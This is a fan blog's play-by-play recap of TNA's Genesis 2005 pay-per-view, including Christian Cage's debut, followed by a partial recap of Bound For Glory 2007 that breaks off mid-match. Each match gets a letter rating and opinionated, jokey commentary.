On This Day: November 13, 2005 – Genesis 2005: CHRISTIAN! CHRISTIAN! At Last You Are in TNA!

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Date: November 13, 2005
Location: Impact Zone, Orlando, Florida
Attendance: 900
Commentators: Mike Tenay, Don West

It’s the month after Bound For Glory and there are two things of note: there’s a major debut tonight, and Eddie Guerrero died earlier in the day. The main event tonight is a six man tag with Rhyno/Team 3D vs. Jarrett/AMW with no stipulations on it, which means I have no reason to care about it. I can’t stand matches like that but they tend to happen once in awhile. If this is half as good as BFG was I’ll be a little surprised. Let’s get to it.

The show is dedicated to Eddie Guerrero. Nothing wrong with that.

The opening video is about starting a new voyage and a new day and all over beginning things like that. There’s a lot of Clinton and Kennedy clips in there too. The main matches get some time too.

Raven vs. ???

This is more of Raven vs. Larry Z in a feud that no one cared about. Larry is in the ring and offers him a release again, which Raven can sign or face the opponent. Bird Boy gives him a double bird. Again we hear about some girl that might be controlling Raven, which I think would wind up being Daffney. The mystery opponent is P.J. Polaco, more commonly known as Justin Credible.

They have to call him the former Justin Credible because of legal issues. You get that a lot in TNA. Justin takes him into the corner to start and hits some forearms. Raven gets him down and pounds him down as we hear about Raven holding Justin down or something. I guess they mean in ECW, where Justin was pushed as a huge deal for YEARS. Justin (screw this PJ nonsense) comes back with a knee to the ribs and another one to take Raven down. He stomps on Raven in the ribs as Mike tries to tell us about a rivalry these two had for the Hardcore Title.

A baseball slide dropkick gets two for Credible. Out to the floor and Raven goes into the barricade. Off to a chinlock back in the ring as we hear about Raven’s history of having people fall under his control. Now it’s a dragon sleeper. A knee sends Raven to the floor and Justin finds a kendo stick. Cassidy Riley, a Raven follower/tribute guy, comes out but gets caned for his efforts. Raven takes over in the ring and catches a superkick into an ankle lock. Justin escapes and hits a bad DDT for two but walks into the Raven Effect for the pin.

Rating: D. Not much here but I’m no fan of Justin. Raven was hot in 2005 but man this Larry feud pulled him down through the floor. At the end of the day, it’s Larry Zbyszko, the man who can suck the life out of a crypt. Also, Justin and Raven really just worked together in ECW and had a brief feud in late 1999/early 2000 that not many people likely remember. Not the best opener to say the least.

We recap the Kru vs. Team Canada which mostly covers last month’s events. Kip is the guest referee in their hockey stick fight tonight. Konnan still doesn’t trust him.

The Kru talks about the surprise debut tonight (who isn’t mentioned by name here) and says that the rats are leaving the ship, meaning WWE. BG thinks Kip is cool but Konnan disagrees.

Team Canada vs. 3 Live Kru

It’s a hockey stick figdht, which means hockey stick on a pole but you have to be legal to grab it. So it’s a hockey stick on a pole match. Got it. This is A-1, Roode and Young. There are six total hockey sticks, one for each post. Sweet merciful corn on the cob can someone get Vince Russo some decaf? Kip James is guest referee. Team Canada tries to go and get the sticks before the match starts because no one is legal then, so we start with a brawl.

Kip tells Konnan to go to the corner and we get BG vs. Roode. Less than 30 seconds after we get settled, Eric (in headgear for some reason) climbs up and gets a stick. Kip takes it and breaks it over his knee then takes the headgear away. Ok then. Roode sends BG into the buckle and I can’t believe we’ve only had one stick grabbed in the first minute. BG comes back with the dancing punches and the shaky knee drop for two.

BG starts going up for a hockey stick but has a small nose bleed. There are SO many jokes. Tag to Truth who goes up but Roode saves the stick. Never mind as it comes down anyway and lands in the Kru’s corner. Leg lariat gets two on Roode. Off to Young who has about the same luck. Konnan comes in and puts his shoe on the end of the hockey stick. Egads this match gets stupider and stupider.

BG goes up for another stick but after he gets it, Roode electric chairs him down. A-1 comes in for some two counts. Kip has been neutral so far. Back to Young who gets two off a backbreaker. He goes to get a stick but BG knocks it out of Young’s hands and to the floor. Back to Young for a slug out but BG gets caught in a full nelson slam. Roode gets the fallen hockey stick but Truth disarms him.

Tag off to Truth and everything breaks down. Ax kick to A-1 but Roode hits the DVD and Young drops the elbow. Now it’s Konnan’s turn to clean house and he puts the Sunrise on Young but Roode saves. Another stick is brought down and it’s sword fighting time. The Kru takes over and it’s a double What’s Up onto two hockey sticks onto Young’s balls for the pin.

Rating: D. WOW this was overbooked. Seriously, six hockey sticks and a guest referee? Nothing to see here either as this feud would finally end the next month at Turning Point. The wrestling was pretty basic and Kip offered nothing at all to this. The point is that he can be trusted, but any referee could have done what he did here.

Kip gets to pound fists with Konnan as apparently they’re all cool.

Abyss and Mitchell are ready for that new talent acquisition. As for Sabu, the No DQ rule won’t bother Abyss and the barbed wire won’t bother him either. It’s opening Pandora’s Box and they crush an egg. This takes awhile to get through.

Tenay and West talk about the acquisition but don’t say who it is. The guy isn’t here yet.

We run down the rest of the card, 35 minutes into the show.

The Acquisition arrives and he’s coming to the arena. A countdown starts and it’s Christian Cage making his debut. Christian says the rumors are true but stops for Christian Cage chant. Jarrett and company are watching in the back and don’t like what they see. Christian says he’s not going to say the same thing every week and that he’s not here because he got fired. He made the jump on his own choice. WWE offered him a very large contract but he’s here because he loves wrestling.

He’s known to crack a joke or two, but he’s the best in the world today and that’s not a joke. He’s tired of politics and he wants to see wrestling reinvented. Last night he was watching Impact and it reminded him of when he showed up 8 years ago. Today there are still two companies, and just like back then, one is old and boring but now the young and hot one is TNA. He’s here to win the world title because that’s how he rolls.

Cue Scott D’Amore, the Team Canada coach. Roode comes out with him and D’Amore is very happy. He talks about some old times that Christian, himself, Adam, Jericho and Lance had when they went to Bret and Stu’s house. D’Amore says that if they unite with Jarrett’s team, they could rule this place. Christian has a question but Roode cuts him off and says Christian needs to realize the opportunity before him. Roode says we want an answer now but D’Amore tells him to chill. He throws Christian a Team Canada shirt and asks for an answer by the end of the night. Christian says he’ll think about it.

We recap the #1 contender’s match between Monty Brown and Jeff Hardy. Both are top guys and want a title shot. Brown issued an open challenge and Hardy took him up on it.

Monty Brown says that he’s not worried about Christian and calls him out to the Serengeti. Jeff Hardy can bring it too. They’ll both be Pounced.

Jeff Hardy vs. Monty Brown

Winner gets Jarrett at some point in the future. The fans are almost universally behind Hardy. Jawbreaker slows Brown down….then Hardy sticks his hands out and shouts before crawling on the ground. Brown grabs him into a fallaway slam to take over. Jeff avoids a charge and Monty goes to the floor, but Hardy’s baseball slide misses and he hits the steel. Brown throws him into the crowd and Jeff is in trouble.

Jeff walks on a barricade and dives onto Brown who was nice enough to stand there and let him. At least he’s polite. Back in and Jeff is almost immediately thrown back to the floor over the top. The fans are split but the fans are more in Hardy’s corner. Whisper in the Wind misses and Hardy is in trouble. A double clothesline hits and both guys go down. Now Whisper in the Wind works and Jeff starts his comeback. Legdrop between the legs makes Monty’s eyes bug out.

The Twist of Fate is countered into an Alpha Bomb attempt but Jeff counters into the reverse Twist of Fate, which of course West calls the same thing. Either way it only gets two. Jeff goes up for the Swanton but it only hits mat. Monty gets up and CRUSHES Jeff with the Pounce for the pin. Apparently this just moves Monty up in the rankings instead of giving him a title match. You know, because that’s SO much different than any regular match right?

Rating: D+. This wasn’t much for the most part. Jeff’s selling was great of course but Monty was pretty much just another power guy. He wasn’t bad or anything but not much aside from his finisher made him stand out or anything. Not a bad match or anything but it’s really just kind of there.

We recap the Elimination X match which is an X Division Survivor Series match. Daniels is a captain and calls his team the Ministry. The other team is called…..uh…..Not The Ministry I guess. Joe thinks he should be captain instead of Daniels.

The Ministry minus Joe wants to know where Joe is but Daniels says don’t worry about it.

Samoa Joe/Christopher Daniels/Alex Shelley/Roderick Strong vs. Chris Sabin/Austin Aries/Sonjay Dutt/Matt Bentley

The Ministry is pretty packed. Bentley has Traci with him. Aries looks really different minus the mustache. Strong vs. Bentley to start us off. This is standard Survivor Series rules. Strong controls with a quick headlock so Bentley does exactly the same thing. Off to Sonjay who flies around a lot in some standard spinny flips. Off to Shelley who looks way different as well. They go VERY fast, resulting in an STF by Shelley. It doesn’t get him anywhere but it looked good.

Shelley gets him into the corner and tags in Joe to a BIG reaction. Joe hits a bunch of Facewashes and a running one to take his head off. Dutt gets to the corner for a moonsault press but Joe walks away. Dutt faked him out though and hits the press for two. Joe responds by kicking his head off and hitting the backsplash. The crowd is eating Joe up and there’s a lot to eat there.

Daniels comes in but so does Aries, who takes him down with a flying body attack. With Daniels’ arm firmly controlled, it’s time for Sabin. I think he’s his team’s captain too. Captain or not, he hits some WICKED headscissors to have Daniels all spun around. Joe knees him in the back though and an STO puts Sabin down to take over for the Ministry. Off to a chinlock but Sabin fights up and kicks Daniels down.

Off to Aries who cleans house on Daniels and Strong. Strong counters the brainbuster and hits a Nightmare on Helm Street. Everything breaks down and Strong hits a rack into a backbreaker on Sabin. Bentley and Daniels head to the floor and the other six are all in now. Joe gets triple teamed and knocked to the floor and everyone on Bentley’s team other than Bentley hit stereo dives. Aries and Strong go back in and Aries hits the brainbuster followed by the 450 to eliminate Strong. Daniels comes in immediately and rolls up Aries with tights to tie it up. There weren’t ten full seconds between pins.

Dutt vs. Daniels now as it’s 3-3. Sonjay takes him down and drops a leg for two. Off to Bentley who doesn’t do as well, getting slowed down by a knee and allowing a tag to Shelley. Sabin comes in as well and hits a seated dropkick to the back of Shelley’s head for two. Sonjay comes back in and cleans house, knocking Joe and Daniels to the floor (with Joe leaving a HUGE sweat stain). Dutt cleans some more rooms of the house but Shelley hits what we would call White Noise and hooks a modified crossface for the tap out.

Shelley walks into a superkick from Bentley for a quick pin, leaving it as Daniels/Joe vs. Bentley/Sabin. Bentley suplexes Daniels down and brings in Sabin. Daniels gets put in the Tree of Woe and Sabin hits the hesitation dropkick for two. Off to Joe who gets dropkicked down but he pulls out a powerslam for two on Bentley. Joe misses a running knee smash in the corner and it’s off to Bentley and Daniels. Release Rock Bottom and the BME get two.

Daniels goes up again but Sabin comes in as well for a double superplex, but Joe makes it a Tower of Doom which really just hurts Daniels even more. Joe knocks Bentley into the corner and fires off some Facewashes. Bentley pops up out of nowhere and superkicks Joe down for two. He gets on Daniels’ shoulders but Joe pops him in the face, hits the MuscleBuster and the Clutch gets it down to two on one. Sabin has to fight off both of them so he hits a tornado DDT on Daniels and an enziguri on Joe at the same time. Sabin takes Joe down again but can’t Cradle Shock him. He escapes the MuscleBuster but Angel’s Wings end this.

Rating: B. I don’t get why they never did another one of these. It’s a perfect kind of match for a PPV as it ate up almost 25 minutes and we got some great action out of it. It’s no classic or anything, but it got the signature stuff out there on PPV. The teams were a little lopsided though and that hurt things a lot. Still quite good though.

Joe is mad at Daniels for getting the winning fall and kicks him down. He goes to the floor and CRACKS daniels with a chair and hits a MuscleBuster on him, followed by a second on the chair. This would basically be what turned Daniels face. He gets stretchered out and AJ watches, looking distraught.

Jarrett and AMW say they’re ready for anyone that TNA throws at them.

We recap Abyss vs. Sabu. The idea is that Sabu can’t beat him one on one but Abyss is terrified of barbed wire, so Sabu has a weapon to use.

Abyss vs. Sabu

No DQ. Abyss has a chair and his chain. Sabu of course has….nothing. He had his arm covered but when he pulled the towel off there was no barbed wire (there had been at an earlier show). Abyss bails to the floor and Sabu dives on him to take over early. Sabu sets up a table but Abyss takes over and sends him back in. Abyss beats on him VERY slowly as I’m assuming they have a lot of time here.

Sabu is bleeding from the nose. For some reason Abyss goes up, only to be ranaed down. Sabu sets up a chair but it goes upside his head for his efforts. Abyss wedges the chair between the ropes but due to the law of wrestling, he goes head first into it. Triple Jump Moonsault almost totally misses and it’s out to the floor (complete with an F Bomb from Sabu) where Abyss is driven through the table with a slingshot flipping legdrop.

Abyss gets up first and picks up his bag of tacks. As he’s laying them out though, Sabu pulls out a barbed wire chair. Mitchell pulls it away, but Sabu hits some clotheslines in an attempt to put Abyss into the tacks. Abyss is like screw that and chokeslams Sabu into the tacks but it only gets two. He loads up a Frog Splash but lands on tacks, which gets two for Sabu. Camel clutch goes on but Abyss makes a rope. Sabu gets the chair but Abyss knocks him down. Powerbomb onto the chair is countered by a Black Hole Slam onto the chair (FREAKING OW MAN!) gets the pin. Abyss wasn’t scared of it at all.

Rating: C-. It was very violent and the ending was sick, but it’s nothing we haven’t seen a million times before. Abyss being scared of the barbed wire went nowhere at all which didn’t help anything here. The match wasn’t that bad but it’s just another hardcore brawl with some sharp stuff involved.

We recap the X Title match which came about from Williams “winning” Ultimate X at the last PPV and then winning another one on Impact to make up for the botched ending last month.

AJ says he’s never seen eye to eye with Daniels but he respects him. Joe broke the unwritten X Division Code and AJ will deal with him. Oh and he’ll beat Petey.

X-Division Title: AJ Styles vs. Petey Williams

Feeling out process to start with AJ hooking a weird leg lock rollup for two. Styles does the drop down into the dropkick spot which is always good. A pair of kneedrops gets no cover. Petey countered the Clash attempt and gets to the apron. AJ knocks him off and hits a flip dive but lands on the barricade and bounces into the crowd. A-1 comes out and offers a distraction which goes nowhere.

Back to the apron and Petey tries a German off the apron but AJ hangs on to avoid a nasty case of death. And never mind as it actually works and AJ’s back goes into the barricade. FERAKING OW MAN!!! A-1 gets thrown out. Back in the ring a regular suplex gets two and it’s off to a bodyscissors. Styles fights out of that pretty quickly so Williams fires off some kicks to the ribs.

Petey misses a shoulder in the corner but as AJ tries a springboard, Petey drops him onto the ropes. A SWEET rana to the floor works on the back even more. Back inside now and it’s the Tree of Woe and O Canada. We reach a point that is so boring that we get a replay from the German off the apron from earlier in the match. Back to live action and AJ hits the Pele. He goes after the ribs with a series of gutbusters and now it’s Petey in trouble.

AJ’s flurry results in a Styles Clash attempt but Petey escapes and rolls him up for two. Styles comes back with a neckbreaker for the same. They trade rollups and chops and the Clash is countered again, this time into a DDT for two. The Destroyer is countered and it’s off to the Sharpshooter instead. As Styles goes for the rope, Petey hooks his arm to block the rope break. That was creative.

AJ gets there anyway and heads to the apron for the springboard forearm. Petey gets up first and heads to the corner but AJ enziguris him down. Petey tries a super Destroyer but AJ knocks him down. Styles sees Joe with a towel with Daniels’ blood on it and Williams crotches him. That gets him nowhere though as AJ hits the Clash from the middle rope for the pin to retain.

Rating: B-. Pretty good match here but it’s not AJ’s best stuff. It was very clear that AJ was going after Joe next so it was hard to believe that Petey was much of a threat to the belt here. Still though, this was good and the idea of who could hit their finisher first was a nice story for it. Good match but not great.

We recap the main event. Basically it’s Planet Jarrett vs. the top face tag team and the top face heavyweight. All I can say is thank goodness this was Rhyno instead of Nash. I don’t get why they had to take the title off of him so fast though. Let him keep it for a few months. Jarrett would beat him in a singles match at Turning Point anyway. This gets the music video treatment which isn’t bad.

The Dudleys and Rhyno say they’re ready. Why does that take a few minutes to get through?

Team 3D/Rhyno vs. America’s Most Wanted/Jeff Jarrett

Nothing on the line here, which is the kind of main event that I can’t stand. Team 3D comes out last instead of the guy that was world champion two weeks ago. Jarrett and AMW run into the crowd in different spots, apparently wanting to start out there. The Dudleys say cool and the bell rings as the ECW guys head into the crowd. It’s one of those brawls where you can’t see a thing.

Rhyno is beating on Jarrett near some empty seats and Ray throws Tenay’s chair at I think Storm. D-Von rams Harris into the Spanish Announce Table as Jarrett and Rhyno go WAY up high. A low blow knocks Rhyno down some stairs and Ray misses a chair shot which hits the post instead. We’re over six minutes into a fifteen minute match and they haven’t been in the ring together yet.

Storm misses a beer bottle shot and we’re FINALLY getting back to ringside together. D-Von hits Harris with the bell and Ray uses a cheese grater on Storm IN THE RING. Harris is busted now. Here’s a table but Harris moves it to keep Storm from going through it. The referee is totally cool with all this stuff. Ray takes a cheese grater to the balls. Rhyno is on the stage and hits Jarrett with a garbage can.

The table gets moved again to keep Harris safe and there’s a LOUD chair shot that we only hear. Rhyno drags a table up to the stage as we’re ten minutes into this match. Rhyno throws the table upside down and then piledrives Jarrett on the stage rather than on the table. The table gets set up in front of the tunnel and after he hits Storm, he charges….right into the superkick from Storm.

I think we have a normal match now with Storm vs. D-Von. It only took them 12 minutes. Catatonic is countered into a reverse inverted DDT for two. Storm comes in (no tag, the villain) for a reverse tornado DDT. Bubba Bomb gets two on Storm but the one to Jarrett is blocked with a low blow. Stroke gets two. Rhyno comes in from nowhere to Gore Jarrett but Harris pulls the referee out. AMW crotches Rhyno on the post and hits a double spinebuster on Ray. Hart Attack gets two on D-Von. Ray breaks up a Death Sentence through the table and a 3D pins Storm.

Rating: C. I have no idea what to call this. They were in the ring about 2 minutes out of nearly 16 so you can barely call this a match. As a fight it wasn’t bad, but at the end of the day, what does this mean? Team 3D wouldn’t get the titles until April of 2007 so it didn’t mean much for them. This was a throwaway main event but it certainly wasn’t boring.

Jarrett hits Rhyno with a guitar post match so the Dudleys set up a table. After getting a fresh one, Gail tries to hit Bubba low. Bubba blocks that and sets to powerbomb Gail through Jarrett through the table. Team Canada comes in for the save and puts D-Von on the table. Jarrett goes up top but Christian comes in with a chair.

He unzips his jacket to reveal a Team Canada shirt. D’Amore hugs him and gets pulled into an Unprettier. Jarrett gets slammed off the top and takes a 3D through the table (with the Dudleys doing a double flapjack and Christian doing the cutter for some reason). Christian reveals a TNA shirt to end the show.

Overall Rating: C-. This wasn’t a bad show at all but it wasn’t that memorable. Christian debuting is by far and away the biggest thing here, but other than that, nothing really happens here. No titles changed hands, partially because only one was defended. The main event should have just been Jarrett vs. Rhyno II and let Jeff get the belt back here. It’s not a bad show, but it’s not one that you would ever need to see again.

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Bound For Glory Count-Up – 2007: Sting vs. Angle. Again.

Bound For Glory 2007
Date: October 14, 2007
Location: Gwinnett Center, Duluth, Georgia
Attendance: 4,000
Commentators: Mike Tenay, Don West

Well doing more BFG isn’t intentional but it’s better than no show. TNA shows are rather hard to find so this is all I’ve got at the moment. Again it’s the biggest show of the year and in this case the main event is Sting vs. Angle. Anyone else noticing a pattern of these shows? There’s a weak Monster’s Ball match and the rest looks completely unspectacular if there has ever been an unspectacular major show. Let’s get to it.

The opening video is just a generic thing about being the next immortal icon and they use Hogan’s name. I give up. Angle is defending tonight if I forgot to mention that. I know I did but it sounds a bit better than I didn’t feel like typing it. I’m filling in space here if you didn’t get that.

Triple X vs. LAX

Senshi (Low Ki/Kaval) and Elix Skipper representing Triple X here. This is Ultimate X and for the #1 contender spot. Think that’s enough Xs in this match? XXX goes for the X almost immediately but LAX (see what I mean?) makes the save and it’s a big brawl to start. These matches are hard to call for the most part as they’re pretty all over the place. With just four guys though it’s far easier to do.

It’s so weird seeing Kaval out there over three years ago like this. Homicide gets a chance to make a run but Senshi makes the save. Both teams are pretty much just beating each other up here to wear them down (wouldn’t that cancel the beating up part?) so they can go up (I guess that gives up the advantage again) and pull the X down (are you getting my boredom here?)

Homicide gets his signature tope con hilo to take out Senshi. Hernandez goes up and JUMPS halfway across the cables and almost gets there that way. That guy is freaking scary. A lot of near grabs for both teams here but LAX is clearly the more dominant team here. Skipper goes all the way up to the top of the structure and hits a MASSIVE cross body to Homicide in the ring.

In a cool looking spot, Skipper and Homicide both do the look up at the ceiling crawl and hit a double neckbreaker to bring the other guy down. That was a new one. I’m not a fan of that overhead shot. Granted that might be the constant camera cuts that TNA is obsessed with. In a painful and STUPID looking spot, Homicide is put in the Tree of Woe as Senshi does the Warrior’s Way onto him.

If you’re Homicide, WHY WOULD YOU SIT UP? You know his finisher is the double stomp so why would you give him the right positioning for it? Mike Tenay says we’re in the ATL. My head hurts again. Skipper stops Hernandez from diving over the ropes which would have been cool to see. Border Toss by Hernandez to send Skipper flying to the other two guys on the floor. Hernandez gets the X with ease just afterwards.

Rating: B-. Bunch of big spots in there which were nice and the match worked pretty well. Hernandez is shown off as the mega star of the team which makes sense as he’s by far the bigger deal. This was a pretty good match but as usual with these matches it would help to have them be for the titles rather than a shot at a later date at said titles. But Pacman Jones is a tag champion at this point so we can’t have that match. Such is TNA.

We see Angle and Karen getting here earlier separately and at different times. Nash gets here too.

Running down of the card wastes some time.

Christian cuts off Tomko and AJ to talk about not being in the Fight for the Right Tournament. He should be in it and due to Joe he isn’t. AJ is happy to be home. He’s an idiot here. Tomko is actually serious.

Fight For the Right Tournament Stage One: Reverse Battle Royal

Dang it. Ok so this one might just hold the record for most ridiculous TNA concept. This is the beginning of a HUGE #1 contenders tournament. The winner of this match is the #1 seed in said tournament, which he would wind up losing anyway, making this COMPLETELY POINTLESS.

Anyway there are 16 people in this and you start on the floor. The first eight to get into the ring make it to part two. When those eight are in there’s a battle royal. When there are two left in the ring, they have a one on one match and the winner is the #1 seed. The other seeds are determined in the order you were eliminated.

Somehow this is slightly less complicated than the previous year’s tournament where the winner of the battle royal advanced to the finals and 6 other guys had qualifying matches to set up a triple threat where the winner met the battle royal winner to get a title shot. And people wonder why this company is loathed by so many people.

ANYWAY, the 16 people are Jimmy Rave, Lance Hoyt (Vance Archer), Havok (Johnny Devine), Shark Boy, Petey Williams, Kaz, Alex Shelley, Chris Sabin, Sonjay Dutt, Kip James, BG James, James Storm, Eric Young, Robert Roode, Chris Harris and Junior Fatu (Rikishi, who was there like a week).

Fatu gets in first. This is so stupid. I know there are issues with getting ring time in this company but this is ridiculous. Kaz and Roode are in. Shelley is in fourth. Hoyt accidentally drops Young in and there’s Sabin. Hoyt goes in seventh and Storm just beats Harris in to give us the 8th guy. Let’s get this over with. Young puts Storm out seconds in, making him the #8 seed in the tournament. Naturally he would win his first round match as he had to do the least wrestling, making it easier on him. See what I mean by flaws in the system?

Young goes after Rikishi who was supposed to be a huge deal I guess. He chokeslams Roode and stacks up four people in the corner for the splash. Stinkface to Hoyt as this is boring. The Andre treatment takes care of him though. He would make the semi-finals of the tournament and then leave the company.

The Guns go nuts with an insane double submission on Roode and Young. They move Young’s legs so he has an Indian Deathlock on Roode before putting a crossface on Roode and an abdominal stretch on Young. It doesn’t accomplish anything but it looks awesome. Think of it as a Divas match.

Shelley is gone. Kaz hits his slingshot DDT on Sabin and then dumps him too. We’re down to Hoyt, Kaz, Roode and Young. Kaz is out as well. Hoyt like an idiot goes for a moonsault and gets thrown out because he’s a freaking idiot. The final two….ok make that three as Sabin is still in there I guess, are Sabin, Roode and Young. And scratch Sabin….who apparently is Sabin as they apparently misspoke earlier. I give up. Roode vs. Young is the final.

Roode is a power guy still here and isn’t in a tag team. The tournament sets up Sabin vs. Shelley which is of course good but means nothing compared to them in the X Title final years later. These two had been feuding and were stablemates years ago. And then Young rolls up Roode in a small package to end it. Young would lose to Storm in the first round and Kaz would beat Christian to win the tournament.

Rating: F+. This was perhaps the most overdone match in history. Seriously, is it that hard to have a battle royal to determine who the #1 contender is? Couldn’t they just have a tournament with a random draw? Apparently not as they decided to just combine them and throw in a one on one match too. This is what we mean by overbooking. You don’t have to do a big complicated thing when a simple thing would work fine and in this case much better. Stupid match and VERY stupid concept.

We recap AJ/Tomko vs. Team Pacman. In other words, a man that was banned from the NFL for being involved in a shooting that paralyzed a man is a tag team champion in TNA. To his credit he bought 1500 tickets to the show and gave them away as prizes to kids in Atlanta schools who got good grades and had good conduct.

Ron Killings, as in R-Truth, says that the NFL has stopped Pacman from wrestling so they have a replacement named Consequences Creed. Pacman talks like an idiot about going for a ride or something.

Karen and Kurt argue even more.

Tag Titles: Team Pacman vs. AJ Styles/Tomko

Keep in mind Team Pacman doesn’t actually have Pacman in this. Creed is the guy that dressed like Apollo Creed and is named for Truth and Consequences. AJ and Creed start us off here. Creed hits a forearm in the corner and that’s about all he’s got as far as interesting stuff goes. He’s cool to watch to a degree but at the end of the day he’s a guy dressed up like a fictional character with a stupid name.

Truth vs. Tomko now. Tomko is an IWGP tag champion at this point. Thanks for again informing us about things that have zero to do with TNA. Truth is doing the exact same stuff he does today in WWE. This is a rather boring match as it’s pretty clear that Pacman is losing here as he can’t wrestle so the appeal is gone. Granted that would imply it was there in the first place so take that for what it’s worth.

Everything breaks down and we get a big melee. AJ gets thrown into the corner and is down. Truth vs. Tomko at the moment. Pacman tries to get involved and is just annoying. Creed takes Tomko out but AJ hits a BIG shooting star to the floor and wipes out all the non whites in this thing. Pacman pulls out a bunch of money and throws it in the air so what when Truth gets a rollup Hebner picks up the money instead of counting. AJ and Tomko hit their double team finisher for the titles on Truth.

Rating: D. Just boring as all belief here with zero drama. Thankfully Pacman was gone after this as no one liked him and he made TNA look freaking stupid. This was just idiotic and such a waste of talent like AJ and even Truth just wasting him like this. Pacman was a waste of money and a total eye rolling moment who didn’t ever get to wrestle due to the NFL. At least this was the end of him for the most part.

Karen whines even more and says Angle keeps the title tonight because it’s the money. She goes up to Kevin who is hitting on some blonde. She tries to get Nash to talk to Kurt which doesn’t work. Oh and there’s the required Scott Hall reference.

We recap Daniels vs. Lethal where Lethal is defending. He’s Black Machismo here too.

X-Division Title: Jay Lethal vs. Christopher Daniels

Lethal won the title beating Angle who had all three titles including both tag belts and had three title matches at one PPV. You know, because he wanted to help the young guys. And now we talk about the Angles and Sting for later tonight. Nice slingshot rana by Lethal and a WEAK suicide dive hits Daniels on the floor. Their hands touched and that’s about it.

They’re having some weird issues with making contact with each other. They’re doing this very odd style here and not much is going on here. Lethal gets a crucifix for two. They’re just kind of doing moves out there with nothing special going on at all. Daniels can’t beat him and starts to snap which is an old standard for wrestling but it usually works and is here kind of.

Top rope rana by Daniels is shoved off. The big elbow misses too though and Daniels gets two off of the miss. They’re clearly almost at the end here and the fans think it’s awesome. No, it really isn’t. Lethal gets the Lethal Combination (backbreaker and Downward Spiral) off the top for the pin to retain. Cool ending to a weak match.

Rating: C-. This just didn’t do it for me at all. It was ok at best but it just came off as uneventful. I have never gotten the appeal of Daniels or his style whatsoever. They had this weird non chemistry going and it wasn’t working for me. Not a horrible match but at the same time it didn’t do much.

The Steiners talk about Team 3D. They’re actually doing this. Rick looks AWFUL.

The recap talks about how Scott got very sick and was literally on his deathbed in Puerto Rico but came back as a face. He can’t have a wrestling match so we get a 2/3 tables match.

Steiner Brothers vs. Team 3D

They point out that the Steiners now reside in Atlanta to HAMMER in the face push. Big brawl to start as you have to get two table put throughs out of three to win this. Well it’s better than a regular table match. I’m not sure how but it prevents winning on a fluke I guess. Rick thankfully is in a shirt as we get the Steiner pose. The Dudleys try to leave and that goes nowhere.

Beer to the face of D-Von as they’re in the crowd. Granted this isn’t so much a waste of time as you can go through a table anywhere. Big brawl in the stands where not a lot is going on as there are no tables in sight. Scott and Bubba are brawling as are the other pair. There’s the first table brought in but it’s not set up yet. We’re back around the ring now.

In the ring now and Rick goes through one on a 3D. Scott is on the floor and there aren’t any eliminations it seems which I like better. Scott fights out of a super bomb and hits a Frankensteiner where he does nothing and Bubba has to jump for the flip, hitting the back of his head on the edge, more or less breaking through the table with his neck. FREAKING OW MAN.

It’s tied up at one here as D-Von misses a splash. How was Steiner a world champion in WCW? I think you can count him as another example of a guy making money and getting as far as he did because WCW was in the place it was rather than his talent. Bubba whips Scott with a big leather belt as Rick has apparently disappeared.

Scott is put on a table and it just kind of collapses which doesn’t count as it’s not a guy being put through it which makes sense. Scott has his beard braided which looks very stupid. The Dudleys put him on another table and go for his injured throat. The Guns run down for the save. D-Von misses a chair shot and the Steiner Bulldog ends it.

Rating: D+. Well they were trying out there but it didn’t work that well. The two old teams going at it were supposed to comprise a dream match but it didn’t work. Why should I want to see either of these teams rather than the Guns who had a run in here? It’s more old guys that aren’t worth much doing their thing. That’s rarely a good thing and this was no exception. Having the 2/3 thing was a nice little twist though and it helped it a good deal.

We talk to the new Knockouts who were brought in for the first Knockouts Title match. There were five total: ODB, Talia Madison, Shelly Martinez and Angel Williams. Angel later added ina to her first name and Talia changed her name to Velvet Skye. The girls run away as Kong is behind JB and makes a scary face.

We get a weak recap which more or less is just a slideshow of the girls in the match.

Knockouts Title: Gauntlet Match

This is a ten girl match where you have a regular gauntlet but it’s over the top until we get to the final two. Yep we’re having two battle royals. Kong debuted at Impact so she’s brand new here. We start with Ms. Brooks and Jackie. Good night WHY DOES SHE ALWAYS STAY AROUND? No one cares about her at all and she was always there. Quit shaking your chest because NO ONE WANTS TO SEE THEM.

Brooks gets a big boot to the side of the head of the annoying one but gets caught in a German suplex. Shelly Martinez is in third. Oh…these girls can’t do much. Kong comes in fourth and it’s on. Kong takes like 40 seconds to get to the ring out of a minute.

ODB comes in fifth as Jackie puts out Brooks but Kong just goes off, getting rid of Jackie (GO KONG!) and Martinez. Angelina Love (Angel Williams at this point) has the music, the looks and the stage pose already as she’s 6th. Christy comes in and is still amazing looking Kong beats the tar out of her with a rack where Christy’s feet almost hit her head. A Batista Bomb hits as Gail Kim is eighth.

Everyone gangs up on Kong as the medics take out Christy to eliminate her for the most part. The three in the ring get rid of Kong whose shirt flies up as Talia Madison (Velvet Skye) is ninth. Roxxi who is a voodoo chick with hair at this point is last. Love apparently went out off camera so we have four left: Roxxi, ODB, Gail and Velvet.

Gail puts out Velvet as we get a GREAT shot of her. ODB is out also and we have our one on one match. Gail gets an insane looking submission hold on Roxxi which was like a sideways Octopus Hold. Gail looks sexy in those shorts to put it mildly. They really make her look good. Roxxi botches a jackknife pin for two. Gail hits Finlay’s Celtic Cross to end it and win the title.

Rating: C-. Again, is there a reason to mix things up like they did here that I’m just not getting? Why not have an actual tournament rather than this weird hybrid thing? It wasn’t bad I guess but at the same time this just didn’t work like they wanted it to. This could have been a lot better as a simple one on one match but this just didn’t do it for me like they wanted it to. Not horrible though.

Nash tries to talk to Angle who is just getting ready with about 45 minutes before the match starts. Great to see him preparing like that. Nash can’t get him to drop the match and he won’t have his back tonight. Again more old guys talking about stuff that doesn’t make sense.

We recap Joe vs. Christian which is about respect apparently. And naturally we have something thrown in there as Matt Morgan is the guest referee.

Christian Cage vs. Samoa Joe

Morgan is the bodyguard of Cornette so that’s why he’s here. Not sure if that makes sense but whatever. Christian is a heel here if you’re wondering and has never been pinned or tapped in the company. Joe gets the big Samoan entrance with the fire dancing as he had on occasion. Long feeling out process to start us off as Christian plays the cowardly heel perfectly.

Finally Joe gets his in the corner and gets a lot of Face Washes but misses the running boot. He hits what we would call the Rough Ryder off the middle rope for two. All Joe so far. Joe chops him on the back which is something you don’t often see. Christian appears to be out cold on the apron. Joe is like screw it and hits a big old suicide dive to almost end Christian. ALL Joe for the first five minutes.

